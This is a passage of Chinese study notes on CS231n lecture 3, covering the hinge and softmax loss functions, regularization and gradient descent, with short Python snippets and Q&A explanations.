็š„ไธ€ไธช็ฎ€ๅ•ไพ‹ๅญ่ฎฉๅŒๅฟ—ไปฌไบ†่งฃๆŸๅคฑๅ‡ฝๆ•ฐ็ฉถ็ซŸๆ˜ฏๅฆ‚ไฝ•่ฎก็ฎ—ๅ’Œๅˆคๆ–ญ็š„ใ€‚ไธ่ฟ‡๏ผŒไปŽๅญฆ็”Ÿๅๅบ”ๅ’Œๅผนๅน•็š„ๆƒ…ๅ†ตๆฅ็œ‹๏ผŒๅฌ็š„ไบบไปฌไผผไนŽ้ƒฝๅพˆๆ‡ต้€ผใ€‚ใ€‚ใ€‚ใ€‚ๅ’ฑๅ…ˆๆŠŠไธฅๆ ผ็š„ๅฎšไน‰ๆŠ„ๅฝ•ไธ‹ๆฅ:\n\n- Loss:\n\n - Given a dataset of examples $\\{(x_i,y_i)\\}^N_{i=1}$, where $x_i$ is image and $y_i$ is (integer) label.\n\n - Loss over the dataset is a sum of loss over examples:\n $$\n L=\\frac{1}{N}\\sum_iL_i(f(x_i,W),y_i)\n $$\n\n\n\n\n\n\n\n## Multiclass SVM loss\n\n\n- Multiclass SVM loss: ๏ผˆalso Hinge Loss ๅˆ้กตๆŸๅคฑ๏ผ‰\n\n - Using the shorthand for the scores vector: $s=f(x_i,W)$\n\n - The SVM loss has the form:\n $$\n \\begin{align}\n L_i &= \\sum_{j\\neq y_i} \n \\left\\{\\begin{matrix}\n 0 & \\text{if } s_{y_i } \\geq s_j +1 \\\\ \n s_j-s_{y_i}+1& \\text{otherwise}\n \\end{matrix}\\right.\\\\\n &= \\sum_{j\\neq y_i}\\max(0,s_j-s_{y_i}+1)\n \\end{align}\n $$\n ![](https://i.loli.net/2018/08/20/5b79a46dc5477.png)\n\n - Q: ไธบๅ•ฅๅˆ้กตๆŸๅคฑ้‡Œ็š„้˜ˆๅ€ผ่ฆๅ–1๏ผŸ\n\n - ๅ…ถๅฎž่ฟ™ๆ˜ฏๅฏไปฅไปปๆ„้€‰ๆ‹ฉ็š„ๅ€ผใ€‚ๅ› ไธบๆˆ‘ไปฌๅนถไธ็œŸๆญฃๅ…ณๅฟƒๆŸๅคฑๅ‡ฝๆ•ฐไธญๅพ—ๅˆ†็š„็ปๅฏนๆ•ฐๅ€ผ๏ผŒ่€Œๆ˜ฏๅ…ณๅฟƒๅพ—ๅˆ†็š„็›ธๅฏนๆ•ฐๅ€ผ๏ผŒๅชๅ…ณๅฟƒๆญฃ็กฎๅˆ†็ฑป่ƒฝไธ่ƒฝ่ฟœ่ฟœๅคงไบŽไธๆญฃ็กฎๅˆ†็ฑป็š„ๅˆ†ๆ•ฐใ€‚ๆ‰€ไปฅๅฎž้™…ไธŠๅฆ‚ๆžœๆŠŠๆ•ดไธช W ๅ‚ๆ•ฐๆ”พๅคงๆˆ–็ผฉๅฐ๏ผŒ้‚ฃไนˆๆ‰€ๆœ‰็š„ๅพ—ๅˆ†ไนŸ้ƒฝไผš็›ธๅบ”ๅœฐๆ”พๅคงๆˆ–็ผฉๅฐใ€‚๏ผˆๆœ‰่ฏฆ็ป†ๆŽจๅฏผ๏ผ‰\n\n - Q: ๅˆ้กตๆŸๅคฑ็š„ๆœ€ๅคงๅ€ผๅ’Œๆœ€ๅฐๅ€ผ๏ผŸ\n\n - ๆœ€ๅฐๅ€ผๆ˜ฏ0๏ผˆๅฏนๅบ”ไบŽๆ‰€ๆœ‰็š„ๅˆ†็ฑป้‡Œ๏ผŒๆญฃ็กฎ็š„ๅพ—ๅˆ†้ƒฝ้žๅธธๅคง๏ผ‰๏ผŒๆœ€ๅคงๅ€ผๆ˜ฏๆ— ็ฉทๅคงใ€‚\n\n - Q: ่‹ฅๅˆๅง‹ๅŒ–็š„ๅ‚ๆ•ฐ้žๅธธ็š„ๅฐ๏ผŒๅ‘ˆ็Žฐ่พƒๅฐ็š„ๅ‡ๅŒ€ๅˆ†ๅธƒ็š„ๅ€ผ๏ผŒไบŽๆ˜ฏๅˆๆœŸๆ‰€ๆœ‰็š„ๅพ—ๅˆ†้ƒฝ่ฟ‘ไนŽไธบ0ๅนถไธ”ๅทฎไธๅคš็›ธ็ญ‰๏ผŒ้‚ฃไนˆๅˆ้กตๆŸๅคฑ้ข„่ฎกไผšๅฆ‚ไฝ•๏ผŸ\n\n - ๆŸๅคฑๅ‡ฝๆ•ฐๅ€ผไธบๅˆ†็ฑป็š„ๆ•ฐ้‡ๅ‡ๅŽป1.๏ผˆไปฃ็ ่ฐƒ่ฏ•็ญ–็•ฅ๏ผŒ้ข„ๆœŸๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ€ผ๏ผ‰\n\n - Q: ๅ‡ๅฆ‚ๅˆ้กตๆŸๅคฑไธญ็š„ๆฑ‚ๅ’Œ้’ˆๅฏน็š„ๆ˜ฏๅ…จ้ƒจ็ฑปๅˆซ๏ผŒๅŒ…ๆ‹ฌ $j=y_i$๏ผŒไผšๆ€Žๆ ทๅ‘ข๏ผŸ\n\n - ๆŸๅคฑๅ‡ฝๆ•ฐๅขžๅŠ ไบ†1\n\n - Q: ๅ‡ๅฆ‚ๅˆ้กตๆŸๅคฑไธญ็š„ๆฑ‚ๅ’Œๆขๆˆไธบๅ–ๅนณๅ‡ๅ€ผ๏ผŒไผšๆ€Žๆ ทๅ‘ข๏ผŸ\n\n - ไธไผšๅ˜ๅŒ–ใ€‚๏ผˆๅ› ไธบๅ–ๅนณๅ‡ๅ€ผๅ’Œๆฑ‚ๅ’Œไน‹้—ดๅช็›ธๅทฎไธ€ไธชๅ€ๆ•ฐ๏ผŒๅณๆ ทๆœฌๆ•ฐ็›ฎ๏ผ‰\n\n - Q: ๅ‡ๅฆ‚ๅˆ้กตๆŸๅคฑๆœ‰ไธ€ไธชๅนณๆ–นๆ“ไฝœ๏ผš$ \\sum_{j\\neq y_i}\\max(0,s_j-s_{y_i}+1)^2$๏ผŒไผšๆ€Žๆ ทๅ‘ข๏ผŸ\n\n - ไผšๅ˜ๅพ—ไธๅŒใ€‚๏ผˆๅ˜ๆˆ้ž็บฟๆ€งไบ†๏ผ‰\n\n \n\n - ๅบŸ่ฏไธๅคš่ฏด๏ผŒ็›ดๆŽฅไธŠไปฃ็ ๏ผš\n\n ```python\n def L_i_vectorized(x, y, W):\n scores = W.dot(x)\n margins = np.maximum(0, scores - scores[y] + 1)\n margins[y] = 0\n loss_i = np.sum(margins)\n return loss_i\n ```\n\n\n\n\n### Regularization\n\nๆŽฅไธ‹ๆฅ็š„้—ฎ้ข˜ๅฐฑๅพˆๆœ‰่ถฃไบ†๏ผŒๅ…ณไบŽๅฎž็Žฐ็›ธๅŒๆ•ˆๆžœ็š„็ฎ—ๆณ•ๅ‚ๆ•ฐ็š„ๅ”ฏไธ€ๆ€ง้—ฎ้ข˜ใ€‚\n\n\n- Q: Suppose that we found a W such that L=0. Is this W unique?\n - No! 2W is also has L=0!\n\nๆ—ข็„ถไธๅ”ฏไธ€๏ผŒ้‚ฃไนˆ่ฏฅๅฆ‚ไฝ•้€‰ๆ‹ฉ W ๅ‘ข๏ผŸ\n\n> ็”จ **Regularization๏ผˆๆญฃๅˆ™้กน๏ผ‰**๏ผๆฅ้ผ“ๅŠฑๆจกๅž‹ไปฅๆŸ็งๆ–นๅผ้€‰ๆ‹ฉๆ›ด็ฎ€ๅ•็š„ W๏ผ ่ฟ™ไนŸๆ˜ฏๆœ‰ๆ•ˆ้ฟๅ…่ฟ‡ๆ‹Ÿๅˆ็š„ๅธธ็”จๆ‰‹ๆฎตไน‹ไธ€ใ€‚ๅฆ‚ไธ‹้ข็š„ๅ…ฌๅผ๏ผ\n\n![](https://i.loli.net/2018/08/20/5b7a1d6f0b90a.png)\n\nๅ…ณไบŽๆญฃๅˆ™ๅŒ–๏ผŒๅฐๅ“ฅๆๅŠๅˆฐ๏ผš\n\n> ๅคงไฝ“ไธŠๆœ‰ไธค็งๆ€่ทฏๅŽป้ฟๅ…่ฟ‡ๆ‹Ÿๅˆ๏ผšไธ€็งๆ˜ฏ้™ๅˆถไฝ ็š„ๆจกๅž‹๏ผŒ่ฟ™ไธช่พน็•ŒๅœจไบŽไธ่ฆๅคช้ซ˜็š„้˜ถๆ•ฐๆˆ–ๆจกๅž‹ๅคช่ฟ‡ๅคๆ‚๏ผ›ๅฆไธ€็งๅฐฑๆ˜ฏๅŠ ๅ…ฅ่ฟ™็ง่ฝฏๆ€งๆƒฉ็ฝš้กน๏ผˆๆญฃๅˆ™๏ผ‰ใ€‚่ฟ™ๆ ทไธ€ๆฅ๏ผŒๆจกๅž‹ไพ็„ถๅฏไปฅ้€ผ่ฟ‘ๅคๆ‚ๆจกๅž‹็š„ๆ•ˆๆžœใ€‚ๅฆ‚ๆžœไฝ ๆƒณไฝฟ็”จ่ฟ™ไบ›ๅคๆ‚็š„ๆจกๅž‹๏ผŒไฝ ๅฐฑ้œ€่ฆไฝฟ็”จๆƒฉ็ฝšๆฅไฝฟ็”จๅฎƒไปฌ็š„ๅคๆ‚ๆ€ง(complexity)ใ€‚\n\nๅฐๅ“ฅๅˆ่ฏดไบ†ไธ€ๅฅๅพˆๆœ‰่ถฃ็š„ๅฅๅญ๏ผŒๆ‰พไธชๅฐๆœฌๆœฌๆŠ„ไธ‹ๆฅ๏ผš\n\n> This is the picture that many people have in mind.\n>\n> ่ฟ™ๆ˜ฏไบบไปฌ่‡ณๅฐ‘ๆœ‰็š„็ฌฌไธ€ๅๅบ”ใ€‚\n\n- ๅ…ณไบŽๆญฃๅˆ™้กนๆœ‰ๅฆ‚ไธ‹ๅ‡ ไธช็ฎ€ๅ•ไพ‹ๅญ๏ผš\n - <u>L2 regularization</u>: $R(W)=\\sum_k\\sum_lW^2_{k,l}$\n - ๆƒ้‡ๅ‘้‡ W ็š„ๆฌงๅผ่Œƒๆ•ฐ (or the squared norm)ใ€‚\n - L1 regularization: $R(W)=\\sum_k\\sum_l|W_{k,l}|$\n - ๆƒ้‡ๅ‘้‡ W ็š„L1่Œƒๆ•ฐ๏ผ›้ผ“ๅŠฑ็จ€็–ๅŒ–็š„ๆƒ้‡็Ÿฉ้˜ต W๏ผ›\n - Elastic net (L1+L2): $R(W)=\\sum_k\\sum_l\\beta W^2_{k,l}+|W_{k,l}|$\n - Max norm regularization: (penalizing the max norm)\n- ๅ…ณไบŽ้˜ฒๆญข่ฟ‡ๆ‹Ÿๅˆ่ฟ˜ๆœ‰ๆ›ดๅŠ ๅคๆ‚็š„ๆ‰‹ๆฎต๏ผš\n - Dropout\n - Batch normalization\n - Stochastic depth, fractional pooling, etc\n- ่ฏ่ฏดๆญฃๅˆ™ๅŒ–็›ฎ็š„ๆ˜ฏๅ•ฅๅ‘ข๏ผŸ่ฟ™้‡Œๆ€ป็ป“ไธ€ไธ‹๏ผš\n - Express preferences over weights\n - Make the model simple so it works on test data\n - Improve optimization by adding curvature\n\nๅ…ณไบŽ**ๆญฃๅˆ™ๅŒ–็š„ๅฎ่ง‚็†ๅฟต**๏ผŒๅฐๅ“ฅๆๅˆฐ๏ผš\n\n> ไฝ ๅฏนๆจกๅž‹ๆ‰€ๅš็š„ไปปไฝ•็ง็งๆ‰€่ฐ“็š„ๆƒฉ็ฝš๏ผŒไธป่ฆ็›ฎ็š„ๆ˜ฏไธบไบ†ๅ‡่ฝปๆจกๅž‹็š„ๅคๆ‚ๅบฆ๏ผŒ่€Œไธๆ˜ฏๅŽป่ฏ•ๅ›พๆ‹Ÿๅˆๆ•ฐๆฎใ€‚\n\n\n\n- Q: L1/L2 ๆญฃๅˆ™ๅŒ–ๅฆ‚ไฝ•ๅบฆ้‡ๆจกๅž‹็š„ๅคๆ‚ๆ€ง๏ผŸ\n - L2 regularization likes to \"spread out\" the weights. ๅฎƒๆ›ดๅŠ ่ƒฝๅคŸไผ ้€’ๅ‡บๆ•ฐๆฎ x ไธญไธๅŒๅ…ƒ็ด ๅ€ผ็š„ๅฝฑๅ“๏ผŒ่ฟ™ๅ–ๅ†ณไบŽ x ๅ‘้‡็š„ๆ•ดไฝ“ๆƒ…ๅ†ต๏ผŒ่€Œไธไผšๅ–ๅ†ณไบŽ x ๅ‘้‡ไธญๆŸๅ•ไธชๅ…ƒ็ด ใ€‚ๅฎƒ็š„้ฒๆฃ’ๆ€ง(robust)ไนŸๅฏ่ƒฝๆ›ดๅฅฝไธ€ไบ›ใ€‚\n - ๅฆ‚ๆžœๆˆ‘ไปฌ้‡‡็”จ L1ๆญฃๅˆ™ๅŒ–๏ผŒๅ…ถๅฏนๆจกๅž‹็š„ๅคๆ‚ๆ€งๅ…ทๆœ‰ไธๅŒ็š„ๆฆ‚ๅฟต๏ผŒๅฏ่ƒฝๅฏนๅ…ทๆœ‰่พƒๅฐ็š„ๅคๆ‚ๅบฆ็š„ๆจกๅž‹ๆ›ดๅŠ ๆ•ๆ„Ÿ๏ผŒๆˆ–่€…่ฏด๏ผŒๅฎƒ้€šๅธธๆ›ดๅŠ ๅ–œๆฌข็จ€็–่งฃไธ€ไบ›๏ผŒๅฎƒๅ€พๅ‘ไบŽ่ฎฉๅคง้ƒจๅˆ†็š„ W ๅ…ƒ็ด ๆŽฅ่ฟ‘0ใ€‚\n - ๅฏนไบŽ L1 ๅบฆ้‡ๅคๆ‚ๅบฆ็š„ๆ–นๅผ๏ผŒๆœ‰ๅฏ่ƒฝๆ˜ฏ้ž้›ถๅ…ƒ็ด ็š„ไธชๆ•ฐ๏ผ›่€Œ L2 ๆ›ดๅคš่€ƒ่™‘็š„ๆ˜ฏ W ๆ•ดไฝ“็š„ๅˆ†ๅธƒ๏ผŒๅณๆ‰€ๆœ‰็š„ๅ…ƒ็ด ๅ…ทๆœ‰่พƒๅฐ็š„ๅคๆ‚ๆ€งใ€‚\n - ๅฏนไบŽ่ดๅถๆ–ฏ้“ๆ†็ฒ‰ไธๆฅ่ฏด๏ผŒL2 ๆญฃๅˆ™ๅŒ–ๅฏไปฅๅพ—ๅˆฐ้žๅธธๅฅฝ็š„่งฃ้‡Šใ€‚ๅœจ MAP ๆŽจ็†ไธญ๏ผŒๆ˜ฏๅ‚ๆ•ฐๅ‘้‡็š„้ซ˜ๆ–ฏๅ…ˆ้ชŒใ€‚\n\n \n\n\n\n## Softmax loss (Multinomial Logistic Regression)\n\n่ฟ™ไธชๆŸๅคฑๅ‡ฝๆ•ฐๅ’ŒไธŠ้ข SVM ็š„ไธ€ไธชๅพˆๅคง็š„ๅŒบๅˆซไน‹ไธ€ๅฐฑๆ˜ฏๅ…ถ่พ“ๅ‡บ็š„ๅพ—ๅˆ†ๅฏไปฅๆœ‰ๆ›ดๅคš็š„่งฃ้‡Š๏ผŒ้‚ฃๅฐฑๆ˜ฏๅฏนไบŽๆ‰€ๆœ‰็ฑปๅˆซๆœ‰็›ธๅบ”็š„ๆฆ‚็Ž‡ใ€‚\n\n- Softmax function:\n $$\n P(Y=k|X=x_i)=\\frac{e^{s_k}}{\\sum_je^{s_j}}\\,,\\ \\text{where} \\, s=f(x_i;W)\n $$\n\n - ๅฐ†็ฑปๅˆซๅพ—ๅˆ†ๆŒ‡ๆ•ฐๅŒ–ไปฅไพฟ็ป“ๆžœ้ƒฝๆ˜ฏๆญฃๆ•ฐ๏ผŒๆŽฅ็€ๅˆฉ็”จ่ฟ™ไบ›ๆŒ‡ๆ•ฐ็š„ๅ’Œๆฅๅฝ’ไธ€ๅŒ–ๅฎƒไปฌใ€‚ไบŽๆ˜ฏ๏ผŒๆˆ‘ไปฌๅพ—ๅˆฐไบ†ๆฆ‚็Ž‡ๅˆ†ๅธƒใ€‚\n\n- loss function:\n $$\n L_i = -\\log P(Y=y_i|X=x_i)\n $$\n\n - Soft loss function ๅฐ†ๆ นๆฎๅพ—ๅˆ†็ป“็ฎ—ๅ‡บๆฅ็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒไธŽ็œŸๅฎž็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒ่ฟ›่กŒๆฏ”่พƒ๏ผŒๅฏน็œŸๅฎž็ฑปๅˆซๆฆ‚็Ž‡็š„ๅฏนๆ•ฐๅ†ๅ–่ดŸๅ€ผ๏ผš\n $$\n L_i = -\\log\\Big(\\frac{e^{s_{y_i}}}{\\sum_je^{s_j}}\\Big)\n $$\n\n - ็”ฑไบŽ็›ฎๆ ‡็š„ๆฆ‚็Ž‡ไธญๆญฃ็กฎ็ฑปๅˆซ็š„ๆฆ‚็Ž‡ๆ˜ฏ1๏ผŒๅ…ถไป–ๆ˜ฏ0๏ผŒๆ‰€ไปฅ๏ผŒไผ˜ๅŒ–็š„็›ฎๆ ‡ๆ˜ฏ่ฎฉ้ข„ๆต‹ๆญฃ็กฎ็š„็ฑปๅˆซๅบ”่ฏฅๅ…ทๆœ‰ๅ‡ ไนŽๆ‰€ๆœ‰็š„ๆฆ‚็Ž‡ใ€‚\n\n - ้™คๆญคไปฅๅค–๏ผŒๆˆ‘ไปฌไนŸๅฏไปฅๅฐ†ๆŸๅคฑๅฎšไน‰ไธบๅœจ็›ฎๆ ‡ๆฆ‚็Ž‡ๅˆ†ๅธƒไธŽ่ฎก็ฎ—ๅ‡บ็š„ๆฆ‚็Ž‡ๅˆ†ๅธƒไน‹้—ด่ฎก็ฎ— KL ๆ•ฃๅบฆ๏ผˆKullback-Leibler divergence๏ผ‰๏ผŒไปฅๆฏ”่พƒไป–ไปฌ็š„ๅทฎๅผ‚๏ผŒๅŽปๅšไธ€ไธชๆœ€ๅคงไผผ็„ถไผฐ่ฎก (maximum likelihood estimate)๏ผš(Q ๆ˜ฏ ground truth/correct probs)\n $$\n D_{KL}(P||Q) = \\sum_yP(y)\\log\\frac{P(y)}{Q(y)}\n $$\n ไบคๅ‰็†ต๏ผˆcross entopy๏ผ‰๏ผš\n $$\n H(P,Q) = H(p) + D_{KL}(P||Q)\n $$\n ๅ…ทไฝ“ๅฏไปฅๅ‚่€ƒไธ‹้ข็š„ๅ‡ ็ฏ‡ๆ–‡็ซ ๏ผš\n\n 1) [Andrew Mooreๅ…ณไบŽไฟกๆฏ่ฎบ็š„Tutorial](http://www.cs.cmu.edu/%7E./awm/tutorials/infogain11.pdf)\n 2) [A Friendly Introduction to Cross-Entropy Loss](https://rdipietro.github.io/friendly-intro-to-cross-entropy-loss/)\n\n - Q: SoftmaxๆŸๅคฑ็š„ๆœ€ๅคงๅ€ผๅ’Œๆœ€ๅฐๅ€ผ๏ผŸ\n\n - ๆœ€ๅฐๅ€ผๆ˜ฏ0๏ผˆ็†่ฎบๅ€ผ๏ผŒไฝ†ๆฐธ่ฟœไธไผš่พพๅˆฐ่ฟ™ไธชๆœ‰้™็ฒพๅบฆ็š„ๆžๅ€ผ๏ผ‰๏ผŒๆœ€ๅคงๅ€ผๆ˜ฏๆ— ็ฉทๅคงใ€‚\n\n - Q: ่‹ฅๅˆๅง‹ๅŒ–็š„ๅ‚ๆ•ฐ้žๅธธ็š„ๅฐ๏ผŒๅ‘ˆ็Žฐ่พƒๅฐ็š„ๅ‡ๅŒ€ๅˆ†ๅธƒ็š„ๅ€ผ๏ผŒไบŽๆ˜ฏๅˆๆœŸๆ‰€ๆœ‰็š„ๅพ—ๅˆ†้ƒฝ่ฟ‘ไนŽไธบ0ๅนถไธ”ๅทฎไธๅคš็›ธ็ญ‰๏ผŒ้‚ฃไนˆๅˆ้กตๆŸๅคฑ้ข„่ฎกไผšๅฆ‚ไฝ•๏ผŸ\n\n - log(C)๏ผŒๅ…ถไธญCๆ˜ฏ็ฑปๅˆซๆ•ฐ็›ฎ.๏ผˆไปฃ็ ่ฐƒ่ฏ•็ญ–็•ฅ๏ผŒๅฅๅ…จๆ€งๆฃ€ๆŸฅ้—ฎ้ข˜๏ผŒ้ข„ๆœŸๆŸๅคฑๅ‡ฝๆ•ฐ็š„ๅ€ผ๏ผ‰\n - ไบŒๅˆ†็ฑป๏ผšlog(2) = 0.6931๏ผ›ๅๅˆ†็ฑป๏ผšlog(10) = 2.3\n\n\n\n## Softmax vs. SVM\n\nๆŽฅไธ‹ๆฅ๏ผŒๆˆ‘ไปฌ้’ˆๅฏนไธคไธชๅทฒ็ปไป‹็ป่ฟ‡็š„ๆŸๅคฑๅ‡ฝๆ•ฐ่ฟ›่กŒไธ€ไธช็ฎ€ๅ•็š„ๅฏนๆฏ”๏ผš\n\n- Q: Suppose I take a datapoint and I jiggle a bit (changing its score slightly). What happens to the loss in both cases? \n - SVM ๆ˜ฏไธไผšๆœ‰ๅ˜ๅŒ–็š„๏ผŒๅ› ไธบๆœ‰ไธ€ไธชๅฎ‰ๅ…จ่พน้™…็š„ๆฆ‚ๅฟต๏ผ›Softmax ไผšๅ‡บ็Žฐๅ˜ๅŒ–็š„ใ€‚\n - SVM ไผšๅพ—ๅˆฐ่ฟ™ไธชๆ•ฐๆฎ็‚น่‹ฅ่ถ…่ฟ‡้˜ˆๅ€ผ่ฆๆ˜ฏๆญฃ็กฎ็š„ๅˆ†็ฑป๏ผŒ็„ถๅŽๅฐฑๆ”พๅผƒ๏ผŒไธๅ†ๅ…ณๅฟƒ่ฟ™ไธชๆ•ฐๆฎ็‚น๏ผ›่€Œ Softmax ๆ€ปๆ˜ฏ่ฏ•ๅ›พไธๆ–ญๆ้ซ˜ๆฏไธ€ไธชๆ•ฐๆฎ็‚น้ƒฝไผš่ถŠๆฅ่ถŠๅฅฝใ€‚่ฟ™ๆ˜ฏไธ€ไธชๆœ‰่ถฃ็š„ๅทฎๅผ‚ใ€‚\n\n\n\nๆŽฅไธ‹ๆฅ๏ผŒๆˆ‘ไปฌๅฆ‚ไฝ•็œŸๆญฃๅ‘็Žฐๆจกๅž‹ๅ‚ๆ•ฐ W ไฝฟๅพ—่ฟ™ไธชๆŸๅคฑๅ‡ฝๆ•ฐๆœ€ๅฐๅŒ–ๅ‘ข๏ผŸ่ฟ™ๅฐฑๆ˜ฏไธ‹้ข็š„ไผ˜ๅŒ–่ฎฎ้ข˜ไบ†ใ€‚\n\n\n\n## Optimization\n\nๆขฏๅบฆๆ˜ฏไป€ไนˆ๏ผŸ่ฏท็ฟป้˜…ๅฆๅค–ไธ€็ฏ‡ๅŽŸๅˆ›ๆ–‡็ซ ไธญ็š„ๅฐ็ป“๏ผš[่ทŸ็€ๆขฏๅบฆ่ตฐ๏ผ](https://iphysresearch.github.io/cs231n/cs231n_story_MLP.html#header-n3161)\n\nไธบไบ†ๅผ•ๅ…ฅๆขฏๅบฆไธ‹้™๏ผŒ่ฏพ็จ‹็กฌๆ˜ฏๅ…ˆ็”จ้šๆœบๆœ็ดข๏ผˆRandom search๏ผ‰ๅ‚ๆ•ฐ็ฉบ้—ด็š„็ฎ—ๆณ•ๆฅไปฅ็คบๅฏนๆฏ”ใ€‚ๅ‘็Žฐ็ฒพ็กฎๅบฆๆ‰15.5%๏ผŒๅ€’ๆ˜ฏๆฏ”็žŽ่’™่ฆๅฅฝ็‚นใ€‚\n\nๆŽฅไธ‹ๆฅ๏ผŒ่ฎฒ่งฃไบ†ๅฆ‚ๆžœ็”จๆœ‰้™ๅทฎๅˆ†ๆณ•ๅŽปๆ•ฐๅ€ผ่ฎก็ฎ—ๆขฏๅบฆ dW ็š„่ฏๆ˜ฏๆ€Žๆ ทๆ“ไฝœ็š„๏ผŒไฝ†ๆ˜ฏ่ฟ™ไนˆๆžๆ˜พ็„ถๅพˆๆ…ขๅ’ŒไฝŽๆ•ˆ็Ž‡็š„ใ€‚่ฟ˜ๅฅฝๆˆ‘ไปฌๅญฆ็š„ๅพฎ็งฏๅˆ†ๆ˜ฏๆœ‰็”จ็š„๏ผŒๅ› ไธบๆˆ‘ไปฌๅฏไปฅ็›ดๆŽฅๆฑ‚ๅ‡บ**ๆขฏๅบฆ็š„่งฃๆž่กจ่พพๅผ**๏ผŒ็›ธๅฝ“ไบŽๆœ‰ๅฆไธ€ไธชๅ…ณไบŽ dW ็š„ๆ–ฐ็ฎ—ๆณ•ใ€‚\n\nไบŽๆ˜ฏๅฐๅ“ฅๅฐฑๅผ€ๅง‹ๆ€ป็ป“ไบ†๏ผš\n\n- Numerical gradient๏ผšapproximate๏ผŒslow๏ผŒeasy to write\n- Analytic gradient๏ผšexact๏ผŒfast๏ผŒerror-prone\n\nๅ€ผๅพ—ไธ€ๆ็š„ๆ˜ฏ๏ผŒๆ•ฐๅ€ผๆขฏๅบฆๆณ•ๆ˜ฏๅพˆๆœ‰็”จ็š„่ฐƒ่ฏ•ๅทฅๅ…ท๏ผŒๅฝ“ไฝ ้œ€่ฆๆŸฅ้ชŒไฝ ๅ†™็š„ๆขฏๅบฆ่งฃๆž่กจ่พพๅผๆ˜ฏๅฆๆญฃ็กฎ็š„ๆ—ถๅ€™๏ผš\n\n> <u>In practice</u>: Always usr analytic gradient, but check implementation with numerical gradient. This is called a **gradient check**.\n\nไธ€ไธชๆœ€ low ็‰ˆ็š„ๆขฏๅบฆไธ‹้™็ฎ—ๆณ•ๆ€Žไนˆๅ†™๏ผŸๅพ€ไธ‹็œ‹๏ผš\n\n```python\n# Vanilla Gradient Descent\n\nwhile True:\n weights_grad = evaluate_gradient(loss_fun, data, weights)\n weights += - step_size * weights_grad # perform parameter update\n```\n\n่ฟ™้‡Œ็š„ `step_size` ๅซๅšๅญฆไน ็Ž‡๏ผˆlearning rate๏ผ‰ใ€‚\n\n็œ‹ไธชๅฐ่ง†้ข‘ไฝ“ไผšไธ€ไธ‹ใ€‚ใ€‚ใ€‚ใ€‚๏ผˆๅ…ถไธŠ้ผ ๆ ‡ๅณ้”ฎ็‚นๅ‡ปโ€œๆ˜พ็คบๆŽงๅˆถโ€๏ผŒ็„ถๅŽ็‚นๅ‡ป:arrow_forward: ๏ผ‰\n\n<video src=\"./assets/sgd.mp4\" />\n\n\n\n### Stochastic Gradient Descent (SGD)\n\nRecall๏ผš\n$$\nL(W) = \\frac{1}{N}\\sum^N_{i=1}L_i(x_i,y_i,W)+\\lambda R(W)\\\\\n\\nabla_WL(W)=\\frac{1}{N}\\sum^N_{i=1}\\nabla_WL_i(x_i,y_i,W)+\\lambda\\nabla_WR(W)\n$$\nไฝ†ๆ˜ฏๅฏนๆ•ดไธช่ฎญ็ปƒ้›†่ฟ›่กŒไธ€ๆฌกๆขฏๅบฆ่ฎก็ฎ—ๅ’Œๅ‚ๆ•ฐๆ›ดๆ–ฐๆ˜ฏไธ็Žฐๅฎž็š„๏ผŒไธ่ฟ‡ๆˆ‘ไปฌๅฏไปฅ็”จ a **minibatch** of examplesใ€‚็”ฑไบŽ่ฟ™ไธชๅฐๆ‰น้‡่ฟญไปฃ็š„ๆ ทๆœฌๆ˜ฏ้šๆœบ๏ผˆStochastic๏ผ‰้‡‡ๆ ท็š„๏ผŒๅฏไปฅๆŠŠๅฎƒๅฝ“ๅšๅฏน็œŸๅฎžๆ•ฐๅ€ผๆœŸๆœ›็š„ไธ€็ง่’™็‰นๅกๆด›็ปŸ่ฎกใ€‚\n\n ็ฎ—ๆณ•ไปฃ็ ๅฏไปฅ่ฟ™ๆ ทๅ†™๏ผš\n\n```python\n# Vanilla Minibatch Gradient Desent\n\nwhile True:\n data_batch = sample_training_data(data, 256) # sample 256 examples\n weights_grad = evaluate_gradient(loss_fun, data_batch, weights)\n weights += - step_size * weights_grad\n```\n\nๅฏ่ƒฝ่ง‰ๅพ—่ฟ™ไธชไปฃ็ ๅคชๆฆ‚ๅฟตไบ†๏ผŒๆฒกๅ…ณ็ณปไธ‹้ขๆ˜ฏไธ€ไธชๅฏไบคไบ’็š„็ฝ‘้กต็ซฏไพ›ไฝ ไฝ“ไผšไธ€ไบŒ๏ผš\n\n[Interactive Web Demo time....](http://vision.stanford.edu/teaching/cs231n-demos/linear-classify/) \n\n![](https://i.loli.net/2018/08/20/5b7a46ddc873c.png)\n\n\n\n่ฟ™ๅฏนไบŽๆœ‰็›ด่ง‚็š„ๆ„Ÿๅ—ๅ’Œ็›ด่ง‰ๆ˜ฏๅพˆๆœ‰ๅธฎๅŠฉ็š„๏ผ\n\n\n\n## Aside: Image Features\n\n่ฟ™้‡Œ้ฆ–ๅ…ˆ่ฐˆๅˆฐ็š„ไธ€ไธช้‡่ฆๆฆ‚ๅฟตๆ˜ฏ๏ผš็‰นๅพ่ฝฌๆข๏ผˆfeature transform๏ผ‰\n\nๆญฃ็กฎ็š„็‰นๅพ่ฝฌๆข๏ผŒๅฏไปฅ่ฎก็ฎ—ๅ‡บๆ‰€ๅ…ณๅฟƒ้—ฎ้ข˜็š„ๆญฃ็กฎๆŒ‡ๆ ‡ใ€‚ๅฐๅ“ฅไธพไบ†ไธคไธชไพ‹ๅญ๏ผŒๆˆ‘ๆ‡’ๅพ—่ต˜่ฟฐไบ†ใ€‚ใ€‚ใ€‚ใ€‚\n\n่ฟ™ไธช็ฒพ็ฅžๅ…ถๅฎžๅ’Œ็ป“ๆž„ๅŒ–ๆ•ฐๆฎไธญ็š„็‰นๅพๅทฅ็จ‹ๆ˜ฏไธ€ๅ›žไบ‹๏ผ\n\nไฝ†ๆฏ•็ซŸๆ˜ฏไบบๅทฅ็‰นๅพ๏ผŒๅฏไปฅๅฎž็Žฐ่‡ชๅŠจๅŒ–็‰นๅพๆๅ–ๅ˜›๏ผŸ\n\nๅฏไปฅ๏ผ่ฟ™ๅฐฑๆ˜ฏ่ฆๅญฆ็š„็ฅž็ป็ฝ‘็ปœ๏ผๆทฑๅบฆๅญฆไน ๅ•Š๏ผ\n\n\n\n\n\n\n\n\n\n---\n\n[่ฟ”ๅ›žๅˆฐไธŠไธ€้กต](./index.html) | [่ฟ”ๅ›žๅˆฐ้กถ้ƒจ](./cs231n_3.html)\n\n---\n<br>\n<a rel=\"license\" href=\"http://creativecommons.org/licenses/by-nc-sa/4.0/\"><img alt=\"Creative Commons License\" style=\"border-width:0\" 